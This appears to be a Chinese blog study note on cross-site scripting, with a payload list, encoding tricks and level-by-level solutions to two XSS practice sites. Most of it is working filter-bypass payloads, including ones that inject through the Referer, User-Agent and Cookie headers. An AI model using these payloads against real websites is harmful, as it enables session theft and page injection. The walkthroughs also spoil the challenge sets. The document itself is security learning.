0x01 一些资源或文章:
XSS小结
XSS总结
那些年我们没能bypass的xss filter
XSS Filter Evasion Cheat Sheet 中文版
XSS攻击手段&在CTF中的运用
0x02 常用Payload(慢慢积累…)
1 | <img src="x" onerror=alert(1)> |
1 | <a href="javascript:alert('xss')">aa</a> |
1 | <iframe src="data:text/html,<script>alert('xss')</script>"></iframe> |
1 | <input value="" onclick=alert('xss') type="text"> |
1 | <svg onload=alert('xss')> |
1 | Cookie盗取: |
Tips:
1 | - 反引号代替圆括号 |
0x03 XSS编码
JS编码
JS提供了四种字符编码的策略,
- 三个八进制数字,如果数字不够,在前面补零,如a的编码为
\141
- 两个十六进制数字,如果数字不够,在前面补零,如a的编码为
\x61
- 四个十六进制数字,如果数字不够,在前面补零,如a的编码为
\u0061
- 对于一些控制字符,使用特殊的C类型的转义风格,如
\n
和\r
HTML实体编码
命名实体
以&
开头,以分号结尾的,如<
的编码为&1t;
字符编码
十进制,十六进制的ASCII码或者Unicode字符编码。样式为&#
数值;
如<
的编码为
<
(10进制)
<
(16进制)
URL编码
这里为url全编码,也就是两次url编码
如alert的url全编码为%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34
String.fromCharCode编码
如alert的编码为String.fromCharCode(97,108,101,114,116)
0x04 刷题
haozi-xss-demo
项目:https://github.com/haozi/xss-demo
地址:https://xss.haozi.me
包含alert(1)的js文件地址:https://xss.haozi.me/j.js
过关方式:构造input code,成功执行alert(1)
0x00
server code:
1 | function render (input) { |
直接构造js语句即可。
payload:
1 | <script>alert(1)</script> |
html:
1 | <div><script>alert(1)</script></div> |
0x01
server code:
1 | function render (input) { |
这一关插入的地方在html标签里面,所以要先闭合<textarea>
标签,再进行构造。
nput code:
1 | </textarea><script>alert(1)</script> |
html:
1 | <textarea></textarea><script>alert(1)</script></textarea> |
0x02
server code:
1 | function render (input) { |
input的地方在尖括号内部,需要先闭合尖括号。
payload:
1 | "><script>alert(1)</script> |
html:
1 | <input type="name" value=""><script>alert(1)</script>"> |
0x03
server code:
1 | function render (input) { |
这一关用正则表达式过滤了括号(替换为空),这里有个小tip,可以用反引号代替圆括号。
其他关于过滤圆括号的一些方法,可参考:XSS相关一些个人Tips
payload:
1 | <script>alert`1`</script> |
html:
1 | <script>alert`1`</script> |
0x04
server code:
1 | function render (input) { |
过滤了圆括号和反引号,所以上一关的方法就不能用了。
可以用各种编码进行绕过,如url编码、html实体编码。
<svg>
标签中可以直接执行实体字符,payload2- h5中
iframe
标签的srcdoc
属性,srcdoc
里的代码会作为iframe
中的内容显示出来,srcdoc
中可以直接去写转译后的html片段,payload3
payload:
1 | <img src=1 onerror=location="javascript:alert%281%29"> |
0x05
server code:
1 | function render (input) { |
这一关将html中的注释符-->
替换成了一个表情,并且输入的内容是包含在一段注释符里的。
html通常的的注释符为:<!-- -->
,测试发现<!- -!>
、<!-- --!>
同样可已用来注释,这里可利用--!>
来闭合。
payload:
1 | --!><script>alert(1)</script> |
html:
1 | <!-- --!><script>alert(1)</script> |
0x06
server code:
1 | function render (input) { |
过滤了以auto
、on
开头,=
结尾的标签属性,并用下划线_
进行替换,同时忽略大小写。
这里可以用换行来绕过正则的检查。
payload:
1 | onmouseover |
html:
1 | <input value=1 onmouseover |
0x07
server code:
1 | function render (input) { |
正则匹配了以<
或</
开头,>
或/>
结尾的标签,并替换为空。
浏览器容错性运行去掉最后面的>
,所以可以去掉它来绕过正则。
payload:(最后还有个空格或回车)
1 | <img src="x" onerror=alert(1) |
html:
1 | <article><img src="x" onerror=alert(1) |
0x08
server code:
1 | function render (src) { |
过滤了</style>
标签,忽略大小写。
因为我们需要用到</style>
来闭合标签,所以依旧可以通过换行绕过正则,或者用</style >
(多加了一个空格),也可以进行绕过。
payload:
1 | </style |
html:
1 | <style> |
0x09
server code:
1 | function render (input) { |
要求输入的值要以https://www.segmentfault.com
开头,否则返回Invalid URL
payload:
1 | https://www.segmentfault.com"></script><a href="" onmouseover=alert(1)>Lethe</a> |
html:
1 | <script src="https://www.segmentfault.com"></script><a href="" onmouseover=alert(1)>Lethe</a>"></script> |
0x0A
server code:
1 | function render (input) { |
同样要求输入的值要以https://www.segmentfault.com
开头,但是过滤了& ' " < > /
,这个过滤。
前面给出的包含alert(1)的js文件就派上用场了。
利用URL的@特性引入js,过滤后的html实体编码在html标签属性值中无影响,直接解析。
payload:
1 | https://www.segmentfault.com@xss.haozi.me/j.js |
html:
1 | <script src="https://www.segmentfault.com@xss.haozi.me/j.js"></script> |
0x0B
server code:
1 | function render (input) { |
这里将输入值全部转换成了大写。
- html标签不区分;
- 域名不区分大小写
- js严格区分大小写。
因此这里可以利用html标签引用外部js资源,但是这里引用前面给的https://xss.haozi.me/j.js还是不行,根据官方解答,需要引用https://www.segmentfault.com.haozi.me/j.js这个链接才行...无语。
但这里也可利用html实体编码来进行绕过,alert(1)的html实体编码为alert(1)
payload:
1 | <img src="x" onerror=alert(1)> |
html:
1 | <h1><IMG SRC="X" ONERROR=alert(1)></h1> |
0x0C
server code:
1 | function render (input) { |
将script替换为空,正则全局匹配且不区分大小写.
这里可以直接用上一题的payload…也可以双写script,引用外部js资源,同样还是需要引用https://www.segmentfault.com.haozi.me/j.js这个链接才行..
payload:
1 | <scscriptript src="https://www.segmentfault.com.haozi.me/j.js"></scscriptript>> |
html:
1 | <h1><SCRIPT SRC="HTTPS://WWW.SEGMENTFAULT.COM.HAOZI.ME/J.JS"></SCRIPT>></h1> |
0x0D
server code:
1 | function render (input) { |
过滤了< / " '
,但input的地方前面有个//,这是js的单行注释符,可以通过换行来绕过,然后再用-->
将后面的')
注释掉。
经过我自己的测试,<!--
和-->
都可以在html的script
标签里单独使用进行单行注释.,这里<
被过滤了,所以使用-->
payload:
1 |
|
html:
1 | <script> |
0x0E
server code:
1 | function render (input) { |
匹配以<
起始的字符,替换为<_$1
,并且把输入转换为大写,这样这样的标签就都用不了了。
这里有个tip:
发现了一个ſ
字符,是古英语中s
的写法,但现在不会当作英文字母a-zA-Z,关键是ſ
转换为大写后正好为S
,这样就可以绕过正则使用<script>
标签引如外部js。
payload:
1 | <ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script> |
html:
1 | <h1><SCRIPT SRC="HTTPS://WWW.SEGMENTFAULT.COM.HAOZI.ME/J.JS"></SCRIPT></h1> |
0x0F
server code:
1 | function render (input) { |
过滤了& ' " < > /
,转换为了html实体编码,但是由于input code在img标签内,所以html实体编码是可以被直接解析的。
所以闭合前面的标签,在构造语句即可。
payload:
1 | ');alert('1 |
html:
1 | <img src onerror="console.error('');alert('1')"> |
0x10
server code:
1 | function render (input) { |
由于input实在script标签里面,且没有任何过滤,所以直接闭合前面的语句,构造下一条语句即可。
payload:
1 | '';alert(1) |
html:
1 | <script> |
0x11
server code:
1 | // from alf.nu |
用反斜杠转移了一堆字符,但是"
被转义成\"
正好可以闭合console.log("\")
,既然闭合了前面的语句那么之后就构造后面的语句就行了。
payload:
1 | "),alert(1)// |
html:
1 | <script> |
0x12
server code:
1 | // from alf.nu |
匹配"
替换为\"
,这里直接用\")
闭合前面的双引号会被转义,所以在加一个\
来转义\
即可。
payload:
1 | \");alert(1);</script> |
html:
1 | <script>console.log("\\");alert(1);</script>");</script> |
这一套题主要是熟悉一下基本绕过方式,实战性不是很强,初学XSS还需继续努力。
那么就再刷一套题吧
XSS挑战
题目地址:http://test.xss.tv/
Level 1
输入的地方,在h2标签内,先闭合标签再构造。
payload:</h2><script>alert(1)</script>
Level 2
<input name="keyword" value="input code">
输入点在input标签内部
,所以先闭合input
标签。
payload:"><script>alert(1)</script>
Level 3
这一关输入点,同样在input
标签的value
值内,尝试上一关闭合标签构造,但是没有成功。
双引号闭合value="
失败,单引号闭合成功。
然后利用onclick、onmouseover等事件进行弹窗。
注释掉后面的代码。
payload:' onmouseover=alert(1)//
Level 4
与上一关类似,用双引号闭合value="
即可。
payload:" onclick=alert(1)//
Level 5
这一关会将script
替换成scr_ipt
,on
也会被替换成o_n
。
我们可以闭合<input>
后利用<a>
标签进行弹窗:
payload:"><a href="javascript:alert(1)">Lethe</a>//
Level 6
这一关在上一关的基础上,多过滤了href
、src
、data
。
经测试,可以利用大小写进行绕过。
payload:"><a hREf="javascript:alert(1)">Lethe</a>//
Level 7
先用之前的payload进行测试,发现href
和script
直接消失了,于是尝试双写绕过,成功。
payload:"><a hrhrefef="javascriscriptpt:alert(1)">Lethe</a>//
Level 8
这一关和前面稍有不同,可以添加友情链接,添加过后的内容直接包含在<a href="input code">友情链接</a>
里面。
于是先尝试javascritpt:alert(1)
,但是script
同样被替换成了scr_ipt
。
因为html标签内可以直接解析html实体编码,于是尝试用实体编码绕过。
payload:javascript:alert(1)
Level 9
和上题类似,但是这里对链接有了一定要求,必须包含http://
,却没有要求一定要在开头….不知道有什么意义
所以直接在构造的语句最后加上http://
绕过检测,再注释掉即可。
payload:javascript:alert(1)//http://
Level 10
这题没有输入框,url上给了一个keyword参数,尝试闭合再构造,虽然回显的内容没有过滤,但是却不会弹窗,查看源码,发现还有一个隐藏的form表单,看看能否利用。
尝试?t_link=Lethe&t_history=Lethe&t_sort=Lethe
发现t_sort
参数可以利用
于是进行构造,发现尖括号被过滤了,于是利用事件进行弹窗。
payload:?t_sort=" type=image src=x onerror=alert(1)//
Level 11
和上一关一样有一个隐藏的表单,也是t_sort
参数可以利用
用上一关的payload进行测试,发现双引号也被过滤了,应该又要换个思路了。
重新打开页面观察源码,看到一个可疑的地方,那新增的一个参数不是白加的,当你从第10关跳到第11关时,t_ref
的value值是页面的Referer的值。
于是在跳转的时候抓包修改Referer的值为" type=text onclick="alert(1)
,如下:
然后在Target界面Forward,回到闯关页面发现已成功注,点击输入框即可弹窗。
Level 12
与上一关类似,不过这里是利用User-Agent:
同样抓包修改User-Agent的值进行构造
payload:" type=text onclick="alert(1)
Level 13
与前两关相同,只不过这一关是利用Cookie进行注入。
抓包修改Cookie为:user=" type=text onclick="alert(1)
即可
Level 14
进入14关,没有输入框,url中没有参数,查看源码,发现使用了<iframe>
标签引入了http://www.exifviewer.org/
但是我这边一直打不开http://www.exifviewer.org/
,根据网上的题解,上传一个含有xss代码的图片触发xss,关于exif xss这一题的解法,可参考:https://xz.aliyun.com/t/1206
Level 15
页面什么都没有,那么直接看源码
第一眼看貌似也没什么,实际上还是因为我对js不是很熟悉…搜索得到,这里使用了AngularJS框架的 ng-include
指令,可参考:https://www.runoob.com/angularjs/ng-ng-include.html
其实就是可以利用 ng-include
指令来包含文件>
有两默认情况下,包含的文件需要包含在同一个域名下,也就是符合SOP。
所以网上大多方法是包含了第一关的代码,如下payload:?src='level1.php?name=test<img src=1 onerror=alert(1)>'
但是我在做的过程中发现,引用的名字会直接出现在源码上:
那么理论上通过闭合也是可以的
于是尝试payload:?src="><img src="x" onerror=alert(1)>
发现真的是可以的..
Level 16
输入点包含在<center>
标签内,过滤了空格,可以用%0a
代替空格进行绕过。
payload:?keyword=<img%0asrc=x%0aonerror=alert(1)>
Level 17
进入之后会看到一个关于flash的什么东西,暂时先不管,做xss先找输入输出点。
url中有arg01
和arg02
两个参数,应该是输入点,查看源码发现在<embed>
标签的src
中会输出这两个参数的值,如下:
先试试闭合,发现过滤了尖括号,可以考虑用onerror
弹窗。
payload:?arg01=&arg02= onmouseover=alert(1)
Level 18
这一关和17关好像是一样的…
payload:?arg01=&arg02= onmouseover=alert(1)
Level 19 20 好像是关于flash xss的,由于了解不多,而且现在网站用flash的也越来越少了,就不做了。
0x05 小结
做了这两套题,这只能说是刚刚了解了XSS是什么,还要很多很多知识需要学习,尤其是要加强实战方面的运用,这就只能在以后的学习过程中慢慢积累了。